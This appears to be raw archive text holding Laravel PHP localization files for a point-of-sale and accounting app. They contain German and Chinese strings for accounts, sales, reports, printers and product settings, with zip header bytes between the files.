|-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'name' => 'Name', 'username' => 'Benutzername', 'email' => 'E-Mail-Adresse', 'first_name' => 'Vorname', 'last_name' => 'Nachname', 'password' => 'Passwort', 'password_confirmation' => 'Passwordbestätigung', 'city' => 'Stadt', 'country' => 'Land', 'address' => 'Adresse', 'phone' => 'Telefonnummer', 'mobile' => 'Handynummer', 'age' => 'Alter', 'sex' => 'Geschlecht', 'gender' => 'Geschlecht', 'day' => 'Tag', 'month' => 'Monat', 'year' => 'Jahr', 'hour' => 'Stunde', 'minute' => 'Minute', 'second' => 'Sekunde', 'title' => 'Titel', 'content' => 'Inhalt', 'description' => 'Beschreibung', 'excerpt' => 'Auszug', 'date' => 'Datum', 'time' => 'Uhrzeit', 'available' => 'verfügbar', 'size' => 'Größe', ], 'custom-messages' => [ 'quantity_not_available' => 'Nur :qty :unit verfügbar', 'this_field_is_required' => 'Dieses Feld wird benötigt', ], ]; PK G �Z�1g�� � ce/account.phpnu �[��� <?php return [ 'account' => '帳戶', 'manage_your_account' => '管理您的帳戶', 'all_accounts' => '所有帳戶', 'account_number' => '帳號', 'add_account' => '添加帳戶', 'account_created_success' => '帳戶創建成功', 'account_updated_success' => '帳戶已成功更新', 'edit_account' => '編輯帳戶', 'account_closed_success' => '帳戶已成功關閉', 'closed' => '關閉', 'list_accounts' => '列出帳戶', 'opening_balance' => '初始股票', 'account_book' => '商業書籍', 'credit' => 'credit', 'debit' => '借方', 'account_name' => '帳戶名稱', 'transaction_type' => '交易類型', 'fund_transfer' => '轉移', 'selected_account' => '選定帳戶', 'transfer_to' => '轉移到', 'fund_transfered_success' => '資金成功轉讓', 'deposit' => '首付', 'deposited_successfully' => '金額已成功存入', 'from' => '來自', 'to' => 'to', 'balance_sheet' => '資產負債表', 'liability' => '責任', 'assets' => '資產', 'supplier_due' => '供應商到期', 'customer_due' => '客戶到期', 'account_balances' => '帳戶餘額', 'total_assets' => '總資產', 'total_liability' => '總責任', 'trial_balance' => '測試平衡', 'payments_not_linked_with_account' => '總計<b>：付款</ b>與帳戶無關', 'saving_current' => '保存/當前', 'capital' => '資本', 'not_applicable' => '不適用', 'account_type' => '帳戶類型', 'accounts' => 'accounts', 'capital_accounts' => '資本賬戶', 'deposit_from' => '存款', 'no_capital_account_created' => '沒有活躍的資本賬戶', 'payment_account_report' => '付款帳戶報告', 'invoice_ref_no' => '發票編號/編號', 'payment_ref_no' => '付款參考編號', 'payment_for' => '付款', 'link_account' => '連接帳戶', 'account_linked_success' => '帳戶已成功關聯', 'view_details' => '顯示詳細信息', ]; PK G �Z�m� ce/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Zurück', 'next' => 'Weiter »', ]; PK G �Z��0� � ce/contact.phpnu �[��� <?php return [ 'contacts' => 'Kontakte', 'name' => 'Name', 'contact' => 'Kontakt', 'manage_your_contact' => 'Verwalten Sie Ihre :contacts', 'all_your_contact' => 'Alle Ihre :contacts', 'add_contact' => 'Einen neuen Kontakt hinzufügen', 'contact_type' => 'Kontaktart', 'tax_no' => 'Steuernummer', 'pay_term' => 'Zahlungsbedingung', 'pay_term_period' => 'Laufzeitperiode', 'mobile' => 'Handy, Mobiltelefon', 'landline' => 'Festnetz', 'alternate_contact_number' => 'Alternative Kontaktnummer', 'edit_contact' => 'Kontakt bearbeiten', 'added_success' => 'Kontakt wurde erfolgreich hinzugefügt', 'updated_success' => 'Kontakt erfolgreich aktualisiert', 'deleted_success' => 'Kontakt wurde erfolgreich gelöscht', 'add_new_customer' => 'Neuen Kunden hinzufügen', 'view_contact' => 'Sichtkontakt', 'contact_info' => ':contact information', 'all_purchases_linked_to_this_contact' => 'Alle Käufe im Zusammenhang mit diesem Kontakt', 'all_sells_linked_to_this_contact' => 'Alle Verkäufe beziehen sich auf diesen Kontakt', 'total_purchase_due' => 'Gesamtkauf fällig', 'pay_due_amount' => 'Fälliger Betrag', 'total_paid' => 'Ganz bezahlt', 'total_purchase_paid' => 'Gesamtkaufzahlung', 'total_sale_paid' => 'Gesamtverkaufszahlung', 'total_sale_due' => 'Gesamtverkauf fällig', 'customer' => 'Kunde', ]; PK G �Z�y�. . ce/sale.phpnu �[��� <?php return [ 'sale' => 'Verkaufen', 'sells' => 'Der Umsatz', 'list_sale' => 'Liste Verkäufe', 'add_sale' => 'Verkauf hinzufügen', 'pos_sale' => 'POS', 'draft_added' => 'Entwurf erfolgreich hinzugefügt', 'invoice_added' => 'Rechnung erfolgreich hinzugefügt', 'item' => 'Artikel', 'total' => 'Gesamt', 'order_tax' => 'Auftragssteuer', 'discount' => 'Rabatt', 'total_payable' => 'Total bezahlbar', 'cancel' => 'Stornieren', 'draft' => 'Entwurf', 'finalize' => 'Bezahlen & Kasse', 'express_finalize' => 'Express <br/> Kasse', 'product' => 'Produkt', 'products' => 'Produkte', 'unit_price' => 'Einzelpreis', 'qty' => 'Menge', 'subtotal' => 'Zwischensumme', 'recent_transactions' => 'Ihre letzten Transaktionen', 'pos_sale_added' => 'Verkauf erfolgreich hinzugefügt', 'price_inc_tax' => 'Preis inkl. Steuer', 'tax' => 'MwSt', 'edit_discount' => 'Rabatt bearbeiten', 'edit_order_tax' => 'Bestellsteuer bearbeiten', 'discount_type' => 'Rabattart', 'discount_amount' => 'Rabattbetrag', 'no_recent_transactions' => 'Keine letzten Transaktionen', 'final' => 'Finale', 'invoice_no' => 'Rechnungsnummer', 'customer_name' => 'Kundenname', 'payment_status' => 'Zahlungsstatus', 'status' => 'Status', 'total_amount' => 'Gesamtmenge', 'total_paid' => 'Ganz bezahlt', 'total_remaining' => 'Insgesamt verbleibend', 'payment_info' => 'Zahlungsinformationen', 'drafts' => 'Entwürfe', 'all_drafts' => 'Alle Entwürfe', 'sell_details' => 'Verkaufsdetails', 'payments' => 'Zahlungen', 'amount' => 'Menge', 'payment_mode' => 'Zahlungsart', 'payment_note' => 'Zahlungsnote', 'sell_note' => 'Verkaufsnote', 'staff_note' => 'Personalausweis', 'draft_updated' => 'Entwurf erfolgreich aktualisiert', 'pos_sale_updated' => 'Verkauf erfolgreich aktualisiert', 'location' => 'Ort', 'add_payment_row' => 'Zahlungszeile hinzufügen', 'finalize_payment' => 'Zahlung abschließen', 'sale_date' => 'Verkaufsdatum', 'list_pos' => 'Liste POS', 'edit_sale' => 'Verkauf bearbeiten', 'shipping' => '船运', 'shipping_details' => '送货细节', 'shipping_charges' => '运输费用', ]; PK G �Z���D D ce/report.phpnu �[��� <?php return [ 'reports' => 'Berichte', 'purchase_sell_report' => 'Kauf & Verkauf', 'purchase_sell' => 'Kauf- und Verkaufsbericht', 'purchase_sell_msg' => 'Kauf- und Verkaufsdetails für den ausgewählten Zeitraum', 'total_purchase' => 'Gesamtkauf', 'purchase_inc_tax' => 'Kauf inkl. Steuer', 'total_sell' => 'Ausverkauf', 'sell_inc_tax' => 'Verkauf inkl. Steuer', 'purchase_due' => 'Kauf fällig', 'sell_due' => 'Verkauf fällig', 'overall' => 'Insgesamt (Verkauf-Kauf)', 'sell_minus_purchase' => 'Verkauf - Kauf', 'difference_due' => 'Fälliger Betrag', 'customer' => 'Kunden', 'supplier' => 'Lieferanten', 'total_due' => 'Fällig', 'contacts' => 'Lieferanten- und Kundenbericht', 'contact' => 'Kontakt', 'stock_report' => 'Bestandsbericht', 'products' => 'Produkte', 'current_stock' => 'Aktueller Lagerbestand', 'total_unit_sold' => 'Gesamteinheit verkauft', 'tax_report' => 'Steuerbericht', 'tax_report_msg' => 'Steuerdetails für den ausgewählten Zeitraum', 'input_tax' => 'Einkommenssteuer', 'output_tax' => 'Ausgangssteuer', 'tax_overall' => 'Gesamt (Eingabe - Ausgabe)', 'input_tax_minus_output_tax' => 'Vorsteuer - Ertragssteuer', 'trending_products' => 'Trendprodukte', 'apply_filters' => 'Filter anwenden', 'filters' => 'Filter', 'expense_report' => 'Spesenabrechnung', 'total_expense' => 'Gesamtausgaben', 'others' => 'Andere', 'all' => 'Alle', 'top_trending_products' => 'Top-Trendprodukte', 'all_locations' => 'Alle Orte', 'stock_adjustment_report' => 'Bestandsanpassungsreport', 'total_stock_adjustment' => 'Gesamtbestandsanpassung', 'total_recovered' => 'Gesamtbetrag wiederhergestellt', 'total_normal' => 'Insgesamt Normal', 'total_abnormal' => 'Gesamtabnormal', 'register_report' => 'Bericht registrieren', 'open_time' => 'Offene Zeit', 'close_time' => 'Schließzeit', 'user' => 'Benutzer', 'all_users' => 'Alle Nutzer', 'sales_representative' => 'Vertreterbericht', 'sales_representative_expenses' => 'Alle mit dem Handelsvertreter verbundenen Kosten', 'summary' => 'Zusammenfassung', 'date_range' => 'Datumsbereich', 'stock_expiry_report' => 'Lagerlaufzeitbericht', 'stock_left' => 'Lager links', 'expired' => 'Abgelaufen', 'view_stocks' => 'Aktien anzeigen', 'expiring_in_1_week' => 'Auslaufen in einer Woche', 'expiring_in_15_days' => 'Auslaufen in 15 Tagen', 'expiring_in_1_month' => 'Auslaufen in einem Monat', 'expiring_in_3_months' => 'Auslaufen in 3 Monaten', 'expiring_in_6_months' => 'Auslaufen in 6 Monaten', 'expiring_in_1_year' => 'Auslaufen in einem Jahr', 'profit_loss' => 'Gewinn / Verlust-Bericht', 'opening_stock' => 'Anfangsbestand', 'closing_stock' => 'Schlussbestand', 'total_expense' => 'Gesamtausgaben', 'net_profit' => 'Reingewinn', 'total_stock_adjustment' => 'Gesamtbestandsanpassung', 'total_stock_recovered' => 'Gesamtbestand wiederhergestellt', ]; PK G �Z��'�Y Y ce/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Passwörter müssen mindestens 6 Zeichen lang sein und korrekt bestätigt werden.', 'reset' => 'Das Passwort wurde zurückgesetzt!', 'sent' => 'Passworterinnerung wurde gesendet!', 'token' => 'Der Passwort-Wiederherstellungs-Schlüssel ist ungültig oder abgelaufen.', 'user' => 'Es konnte leider kein Nutzer mit dieser E-Mail-Adresse gefunden werden.', ]; PK G �Z���� ce/unit.phpnu �[��� <?php return [ 'units' => 'Einheiten', 'manage_your_units' => 'Verwalte deine Einheiten', 'all_your_units' => 'Alle deine Einheiten', 'name' => 'Name', 'short_name' => 'Kurzer Name', 'allow_decimal' => 'Erlaube Dezimal', 'added_success' => 'Einheit erfolgreich hinzugefügt', 'updated_success' => 'Einheit erfolgreich aktualisiert', 'deleted_success' => 'Einheit erfolgreich gelöscht', 'add_unit' => 'Einheit hinzufügen', 'edit_unit' => 'Bearbeitungseinheit', ]; PK G �ZxX�\ \ ce/printer.phpnu �[��� <?php return [ 'printers' => 'Drucker', 'add_printer' => 'Drucker hinzufügen', 'name' => 'Druckername', 'connection_type' => 'Verbindungstyp', 'capability_profile' => 'Fähigkeitsprofil', 'ip_address' => 'IP Adresse', 'port' => 'Hafen', 'path' => 'Pfad', 'added_success' => 'Drucker wurde erfolgreich hinzugefügt', 'manage_your_printers' => 'Verwalten Sie Ihre Drucker', 'all_your_printer' => 'Alle konfigurierten Drucker', 'deleted_success' => 'Drucker wurde erfolgreich gelöscht', 'edit_printer_setting' => 'Druckerkonfiguration bearbeiten', 'receipt_printers' => 'Bondrucker', 'character_per_line' => 'Zeichen pro Zeile', 'printer_name' => 'Druckername', 'updated_success' => 'Drucker wurde erfolgreich aktualisiert', 'edit_printer' => 'Drucker bearbeiten', ]; PK G �Z�A=�T( T( ce/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => '启用从采购屏幕编辑产品价格', 'sales_commission_agent' => '销售佣金代理', 'sales_commission_agents' => '销售佣金代理', 'disable' => '禁用', 'logged_in_user' => '已登录用户', 'select_from_users_list' => '从用户列表中选择', 'select_from_commisssion_agents_list' => '从佣金代理列表中选择', 'add_sales_commission_agent' => '添加销售佣金代理', 'commission_agent_added_success' => '销售佣金代理成功添加', 'edit_sales_commission_agent' => '编辑销售佣金代理', 'commission_agent_updated_success' => '销售佣金代理成功更新', 'commission_agent_deleted_success' => '销售佣金代理成功删除', 'contact_no' => '联系号码', 'commission_agent' => '佣金代理', 'cmmsn_percent' => '销售佣金百分比 (%)', 'sales_added' => '已添加销售', 'sales_with_commission' => '销售与佣金', // 'total_sale_with_commission' => '总销售与佣金', 'total_sale_commission' => '总销售佣金', 'sales_item_addition_method' => '销售项目添加方法', 'add_item_in_new_row' => '在新行中添加项目', 'increase_item_qty' => '如果已存在则增加项目数量', 'stock_transfers' => '库存调拨', 'all_stock_transfers' => '所有库存调拨', 'add_stock_transfer' => '添加库存调拨', 'list_stock_transfers' => '列出库存调拨', 'location_from' => '位置（从）', 'location_to' => '位置（至）', 'shipping_charges' => '运费', 'stock_transfer_added_successfully' => '库存调拨成功添加', 'stock_transfer_delete_success' => '库存调拨成功删除', 'stock_transfer_cannot_be_deleted' => '无法删除此库存调拨，因为某些库存已经出售', 'total_transfer_shipping_charges' => '总调拨运费', 'enable_inline_tax' => '在采购和销售中启用内联税', 'save_n_add_opening_stock' => '保存并添加期初库存', 'add_opening_stock' => '添加期初库存', 'opening_stock_added_successfully' => '期初库存成功添加', 'update_n_edit_opening_stock' => '更新和编辑期初库存', 'total_amount_exc_tax' => '总金额（不含税）', 'currency_symbol_placement' => '货币符号放置', 'before_amount' => '金额前', 'after_amount' => '金额后', 'barcode_label_error' => '所选条形码类型不支持的SKU ID', 'list_products' => '列出产品', 'list_expenses' => '列出费用', 'add_expiry' => '添加商品到期', 'add_manufacturing_auto_expiry' => '添加制造日期和到期期限', 'tooltip_enable_expiry' => '启用产品过期。<br/><br/><b>添加商品到期：</b>直接添加商品到期。<br/><b>添加制造日期和到期期限：</b>添加制造日期和到期期限，并根据此计算到期日期。', 'quantity' => '数量', 'on_product_expiry' => '在产品到期时', 'keep_selling' => '保持销售', 'stop_selling' => '在到期前n天停止销售', 'tooltip_on_product_expiry' => '指定产品到期时需要执行的操作。<br><br> <b>保持销售：</b> 产品即使过期也将继续销售。<br> <b>停止销售：</b> 在到期前n天停止销售。', 'output_tax_minus_input_tax' => '输出税 - 输入税 - 费用税', 'total_purchase_discount' => '总采购折扣', 'total_sell_discount' => '总销售折扣', 'updated_succesfully' => '已成功更新', 'default_unit' => '默认单位', 'enable_brand' => '启用品牌', 'enable_category' => '启用类别', 'enable_sub_category' => '启用子类别', 'enable_price_tax' => '启用价格和税信息', 'enable_purchase_status' => '启用采购状态', 'tooltip_enable_purchase_status' => '禁用后，所有采购将标记为<i>已收到物品</i>', 'recent_product_quantity' => '转至产品数量', 'full_screen' => '按F11键进入全屏模式', 'Uncategorised' => '未分类', 'no_products_to_display' => '没有产品可供显示', 'item_out_of_stock' => '产品缺货', 'go_back' => '返回', 'disable_pay_checkout' => '禁用多次支付', 'disable_draft' => '禁用草稿', 'disable_express_checkout' => '禁用快速结账', 'hide_product_suggestion' => '不显示产品建议', 'hide_recent_trans' => '不显示最近交易', 'pos_settings' => 'POS设置', 'disable_discount' => '禁用折扣', 'disable_order_tax' => '禁用订单税', 'customer_groups' => '客户群组', 'customer_group' => '客户群组', 'all_your_customer_groups' => '所有客户群组', 'add_customer_group' => '添加客户群组', 'customer_group_name' => '客户群组名称', 'calculation_percentage' => '计算百分比（%）', 'tooltip_calculation_percentage' => '<b>销售价格=产品的销售价格+计算百分比</b> <br/><br/> 您可以指定正数来增加销售价格，指定负数来降低销售价格。', 'success' => '成功', 'edit_customer_group' => '编辑客户群组', 'customer_groups_report' => '客户群组报告', 'none' => '无', 'enable_imei_or_sr_no' => '启用产品描述、IMEI或序列号', 'tooltip_sr_no' => '在销售POS屏幕上销售产品时，启用或禁用添加产品描述、IMEI或序列号', 'description' => '描述', 'sell_line_description_help' => '在此处添加产品IMEI、序列号或其他信息。', 'unit_cost_before_discount' => '折扣前单位成本', 'discount_percent' => '折扣百分比 %', 'profit_margin' => '利润率 %', 'discount_percent' => '折扣百分比', 'application_tour' => '应用程序导览', 'profile' => '个人资料', 'sign_out' => '退出登录', 'my_profile' => '我的个人资料', 'Admin' => '管理员', 'Cashier' => '收银员', 'both_supplier_customer' => '供应商和客户', 'months' => '月', 'days' => '天', 'suppliers' => '供应商', 'customers' => '客户', 'enter_product_name_to_print_labels' => '输入产品名称以打印标签', 'manage_product_variations' => '管理产品变体', 'all_variations' => '所有变体', 'values' => '值', 'add_variation' => '添加变体', 'variation_name' => '变体名称', 'add_variation_values' => '添加变体值', 'edit_variation' => '编辑变体', 'received' => '已收到', 'pending' => '待处理', 'ordered' => '已下单', 'search_product_placeholder' => '输入产品名称/SKU/扫描条形码', 'fixed' => '固定', 'percentage' => '百分比', 'select_location' => '选择位置', 'add_description' => '添加描述', 'cash' => '现金', 'card' => '卡', 'cheque' => '支票', 'bank_transfer' => '银行转账', 'other' => '其他', 'payment' => '支付', 'total_items' => '总计项目', 'total_paying' => '总计支付', 'balance' => '余额', 'payment_method' => '支付方式', 'card_no' => '卡号', 'card_holder_name' => '持卡人姓名', 'card_transaction_no' => '卡交易号', 'card_type' => '卡类型', 'month' => '月', 'year' => '年', 'security_code' => '安全码', 'cheque_no' => '支票号', 'bank_account_number' => '银行帐号', 'paid' => '已付款', 'due' => '应付款', 'partial' => '部分支付', 'no_of_products' => '产品数量', 'select_a_date_range' => '选择日期范围', 'shortcut_help' => "快捷键应为以'+'分隔的键名", 'example' => '示例', 'available_key_names_are' => '可用的键名包括', 'add_new_product' => '添加新产品', 'invoice_logo_help' => '最大 :max_size，只支持 jpeg、gif、png 格式。', 'invoice_logo_help2' => '仅在要替换之前的徽标时上传', 'printer_name_help' => '简短的描述性名称以识别打印机', 'char_per_line_help' => '每行可打印字符数', 'ip_address_help' => '连接打印机的 IP 地址', 'port_help' => '大多数打印机使用端口 9100', 'combination_of_taxes' => '多重税收组合', 'product_purchase_report' => '产品采购报告', 'unit_perchase_price' => '单位采购价格', 'search_product' => '搜索产品', 'product_sell_report' => '产品销售报告', 'unit_sale_price' => '单位销售价格', 'contact_id' => '联系人 ID', 'category_code_help' => '类别代码与<b>HSN代码</b>相同', 'sub_heading_line' => '子标题行 :_number_', 'date_label' => '日期标签', 'client_id_label' => '客户 ID 标签', 'product_label' => '产品标签', 'qty_label' => '数量标签', 'unit_price_label' => '单价标签', 'subtotal_label' => '小计标签', 'product_details_to_be_shown' => '要显示的产品详细信息', 'show_brand' => '显示品牌', 'show_sku' => '显示SKU', 'show_cat_code' => '显示类别代码或HSN代码', 'show_client_id' => '显示客户ID', 'show_time_with_date' => '显示日期时间', 'show_sale_description' => '显示销售描述', 'product_imei_or_sn' => '(产品IMEI或序列号)', 'purchase_already_exist' => '无法删除产品，因为与该产品相关的采购已存在', 'opening_stock_sold' => '无法删除产品，因为一些库存已售出', 'stock_adjusted' => '无法删除产品，因为一些库存已调整', 'product_delete_success' => '产品删除成功', 'manage_products' => '管理您的产品', 'all_products' => '所有产品', 'login' => '登录', 'register' => '注册', 'username' => '用户名', 'password' => '密码', 'remember_me' => '记住我', 'forgot_your_password' => '忘记密码？', 'reset_password' => '重置密码', 'email_address' => '电子邮件地址', 'send_password_reset_link' => '发送密码重置链接', 'instructions' => '说明', 'instruction_line1' => '在导入文件之前，请仔细遵循以下说明。', 'instruction_line2' => '文件的列应按以下顺序排列。', 'col_no' => '列编号', 'col_name' => '列名', 'instruction' => '说明', 'required' => '必填', 'optional' => '可选', 'name_ins' => '产品名称', 'brand_ins' => '品牌名称', 'brand_ins2' => '如果找不到具有给定名称的新品牌，将创建新品牌', 'unit_ins' => '单位名称', 'category_ins' => '类别名称', 'category_ins2' => '如果找不到具有给定名称的新类别，将创建新类别', 'sub_category_ins' => '子类别名称', 'sub_category_ins2' => '如果找不到在父类别下具有给定名称的新子类别，将创建新子类别', 'sku_ins' => '产品SKU。如果为空，将自动生成SKU', 'barcode_type_ins' => '产品的条形码类型。', 'barcode_type_ins2' => '目前支持的', 'default' => '默认', 'manage_stock_ins' => '启用或禁用库存管理', 'alert_qty_ins' => '如果启用库存管理，此项为必填', 'expires_in_ins' => '产品有效期（仅限数字）', 'expire_period_unit' => '有效期单位', 'available_options' => '可用选项', 'expire_period_unit_ins' => '有效期单位', 'applicable_tax_ins' => '税率名称', 'variation_name_ins' => '如果产品类型是可变的，则必填', 'variation_name_ins2' => '变体名称（例如：大小、颜色等）', 'variation_values_ins' => '如果产品类型是可变的，则必填', 'variation_values_ins2' => '使用“|”分隔的变体值<br>（例如：红色|蓝色|绿色）', 'purchase_price_inc_tax' => '采购价（含税）', 'purchase_price_inc_tax_ins1' => '如果未提供不含税的采购价，则必填', 'purchase_price_inc_tax_ins2' => '采购价（含税）（仅限数字）<br><br>对于可变产品，使用“|”分隔的值<br>与变体值的顺序相同<br>（例如：84|85|88）', 'purchase_price_exc_tax' => '采购价（不含税）', 'purchase_price_exc_tax_ins1' => '如果未提供含税的采购价，则必填', 'purchase_price_exc_tax_ins2' => '采购价（不含税）（仅限数字）<br><br>对于可变产品，使用“|”分隔的值<br>与变体值的顺序相同<br>（例如：84|85|88）', 'profit_margin_ins' => '利润率（仅限数字）', 'profit_margin_ins1' => '如果留空，将使用默认的业务利润率', 'selling_price' => '销售价格', 'selling_price_ins' => '销售价格（仅限数字）', 'selling_price_ins1' => '如果留空，销售价格将根据给定的采购价格<br>和适用税率计算', 'opening_stock' => '期初库存', 'opening_stock_ins' => '期初库存（仅限数字）', 'only_applicable_to_single_product' => '仅适用于单个产品', 'purchase_delete_success' => '删除成功', 'location_ins' => '如果留空，将使用第一个业务位置', 'location_ins1' => '业务位置名称', 'expiry_date' => '过期日期', 'expiry_date_ins' => '库存过期日期<br><b>格式：mm-dd-yyyy；例如：11-25-2018</b>', 'enable_lot_number' => '启用批号', 'tooltip_enable_lot_number' => '这将允许您在采购屏幕的每个采购行中输入批号', 'lot_number' => '批号', 'enable_racks' => '启用货架', 'tooltip_enable_racks' => '启用此功能，以在添加产品时为不同的业务位置添加产品的货架详细信息', 'rack_details' => '货架/排/位置详细信息', 'tooltip_rack_details' => '为不同的业务位置输入产品在店内存放的详细信息。', 'updated_success' => '更新成功', 'added_success' => '添加成功', 'deleted_success' => '删除成功', 'enable_disable_modules' => '启用/禁用模块', 'opening_stock_help_text' => "<br><br>对于可变产品，使用“|”分隔的库存数量<br>（例如：100|150|200）", 'applicable_tax_help' => '<br><br/>如果采购价（不含税）与采购价（含税）不同，则必须提供税率名称。', 'sale_delete_success' => '销售删除成功', 'click_to_edit' => '点击编辑', 'click_to_delete' => '点击删除', 'quotation_heading' => '报价标题', 'quotation' => '报价', 'quotation_no_prefix' => '报价编号标签', 'tooltip_quotation_heading' => '报价或估价标题用于向客户提供报价。', 'quotation_added' => '报价已成功添加', 'quotation_updated' => '报价已成功更新', 'product_sold_details_register' => '销售产品详细信息', 'grand_total' => '总计', 'change_return' => '找零', 'date_format' => '日期格式', 'time_format' => '时间格式', '12_hour' => '12小时', '24_hour' => '24小时', 'list_quotations' => '列出报价', 'list_drafts' => '列出草稿', 'you_cannot_delete_this_contact' => '无法删除此联系人 - 已存在与该联系人相关的交易。', 'enable_row' => '启用排', 'enable_position' => '启用位置', 'rack' => '货架', 'row' => '排', 'position' => '位置', 'weight' => '重量', 'rack_help_text' => "不同业务位置连续的货架详细信息<br/>（例如：R1|R5|R12）", 'row_help_text' => "不同业务位置连续的排详细信息<br/>（例如：ROW1|ROW2|ROW3）", 'position_help_text' => "不同业务位置连续的位置详细信息<br/>（例如：POS1|POS2|POS3）", 'import_opening_stock' => '导入期初库存', 'tooltip_import_opening_stock' => '此功能用于导入已添加产品的期初库存。如果尚未在系统中添加产品，则建议使用导入产品以添加带有期初库存的产品详细信息。', 'design' => '设计', 'express_checkout_cash' => '现金', 'express_checkout_card' => '卡', 'checkout_multi_pay' => '多次付款', 'tooltip_checkout_multi_pay' => '使用多种付款方法进行结账', 'tooltip_express_checkout_card' => '使用卡片进行快速结账', 'card_transaction_details' => '信用卡交易详细信息', 'client_tax_label' => '客户税号标签', 'cat_code_label' => '类别或HSN代码标签', 'list_sell_return' => '列出销售退货', 'sell_return' => '销售退货', 'layout_credit_note' => '信用票据/销售退货详细信息', 'cn_heading' => '标题', 'cn_no_label' => '参考号', 'cn_amount_label' => '总金额', 'custom_field' => '自定义字段 :number', 'website' => '网站', 'total_credit_amt' => '总信用金额', 'unit_sell_price' => '单位销售价格', 'prefixes' => '前缀', 'purchase_order' => '采购订单', 'stock_transfer' => '库存调拨', 'purchase_payment' => '采购付款', 'sell_payment' => '销售付款', 'location_id' => '位置ID', 'add_edit_opening_stock' => '添加或编辑期初库存', 'expiry_date_will_be_changed_in_pl' => '采购行的到期日期将被更改', 'remove_from_stock' => '从库存中移除', 'stock_removed_successfully' => '库存成功移除', 'product_image' => '产品图片', 'aspect_ratio_should_be_1_1' => '宽高比应为1:1', 'previous_image_will_be_replaced' => '以前上传的图片将被替换', 'all_category' => '所有类别', 'all_brands' => '所有品牌', 'backup' => '管理备份', 'download_complete_backup' => '下载完整备份', 'backup_doesnt_exist' => '备份不存在', 'lot_report' => '批次报告', 'purchase_payment_report' => '采购付款报告', 'paid_on' => '付款日期', 'purchase' => '采购', 'cheque_no' => '支票号', 'card_transaction_no' => '卡交易号', 'bank_account_no' => '银行账号', 'sell_payment_report' => '销售付款报告', 'restaurant' => '餐厅', 'user_type' => '用户类型', 'business_inactive' => '抱歉，您的业务不活跃！！', 'product_custom_field1' => '自定义字段1', 'product_custom_field2' => '自定义字段2', 'product_custom_field3' => '自定义字段3', 'product_custom_field4' => '自定义字段4', 'image' => '图片', 'image_help_text' => '带扩展名的图片名称。<br/> （图片名称必须上传到服务器 :path）', 'tooltip_kitchen' => '这是厨房屏幕。在这里，可以查看订单详细信息并将订单标记为已烹饪。', 'tooltip_serviceorder' => '这是服务员屏幕。服务员可以使用此屏幕查看所有为他们提供的订单并将订单标记为已送达。', 'sales_person_label' => '销售人员标签', 'show_sales_person' => '显示销售人员', 'decimal_value_not_allowed' => '不允许小数值', 'theme_color' => '主题颜色', 'quantity_error_msg_in_lot' => '所选批次中仅有 :qty :unit 可用', 'show_product_expiry' => '显示产品到期', 'show_lot_number' => '显示批次号', 'expiry' => '到期', 'lot' => '批次', 'lot_n_expiry' => '批次和到期', 'pos_edit_product_price_help' => '编辑产品单价和税', 'name' => '名称', 'payment_type' => '付款类型', 'manage_payment_account' => '管理您的付款帐户', 'all_payments' => '所有付款', 'payment_note' => '付款备注', 'payment_account_deleted_success' => '付款帐户删除成功', 'payment_account_updated_success' => '付款帐户更新成功', 'payment_gateway' => '在线付款网关', 'payment_account_success' => '付款帐户添加成功', 'payment_account' => '付款帐户', 'tooltip_sell_product_column' => '点击<i>产品名称</i>以编辑价格、折扣和税。 <br/>点击<i>评论图标</i>以输入序列号/IMEI或附加说明。<br/><br/>点击<i>修改器图标</i>（如果启用）以添加修改器', 'credit_limit' => '信用额度', 'credit_limit_help' => '留空表示没有限制', 'cutomer_credit_limit_exeeded' => '客户信用额度超出 <br>:credit_limit', 'custom_payment_1' => '自定义付款1', 'custom_payment_2' => '自定义付款2', 'custom_payment_3' => '自定义付款3', 'transaction_no' => '交易号', 'file' => '文件', 'size' => '大小', 'date' => '日期', 'age' => '年龄', 'create_new_backup' => '创建新备份', 'all_sales' => '所有销售', 'opening_balance' => '期初余额', 'opening_balance_due' => '期初余额到期', 'import_contacts' => '导入联系人', 'contact_type_ins' => '<strong>可用选项：客户、供应商和两者</strong>', 'contact_id_ins' => '留空以自动生成联系人ID', 'required_if_supplier' => '如果联系人类型是供应商或两者，则为必填项', 'pay_term_period_ins' => '可用选项：天和月', 'your_username_will_be' => '您的用户名将是', 'currency_exchange_rate' => '货币汇率', 'select_all' => '全选', 'deselect_all' => '取消全选', 'duplicate_product' => '复制产品', 'delete_selected' => '删除选定', 'no_row_selected' => '未选择行', 'duplicate_sell' => '复制销售', 'duplicate_sell_created_successfully' => '复制销售成功创建', 'modules' => '模块', 'theme' => '主题', 'account' => '账户', 'expense_payment' => '费用付款', 'expense' => '费用', 'disabled_in_demo' => '演示中禁用功能！！', 'selling_price_group' => '销售价格组', 'all_selling_price_group' => '所有销售价格组', 'add_selling_price_group' => '添加销售价格组', 'edit_selling_price_group' => '编辑销售价格组', 'access_selling_price_groups' => '访问销售价格组', 'save_n_add_selling_price_group_prices' => '保存并添加销售价格组价格', 'add_selling_price_group_prices' => '添加或编辑组价格', 'default_selling_price_inc_tax' => '默认销售价格（含税）', 'variation' => '变体', 'price_group' => '价格组', 'group_price' => '组价格', 'default_selling_price' => '默认销售价格', 'price_group_help_text' => '您希望销售的销售价格组', 'group_prices' => '组价格', 'view_group_prices' => '查看组价格', 'save_n_add_another' => '保存并添加另一个', 'update_n_add_another' => '更新并添加另一个', 'subtotal_editable' => '子总额可编辑', 'subtotal_editable_help_text' => '选中此项以使POS屏幕中的每个产品的子总额字段可编辑', 'notification_templates' => '通知模板', 'new_sale' => '新销售', 'payment_reminder' => '付款提醒', 'payment_received' => '收到付款', 'new_booking' => '新预订', 'new_order' => 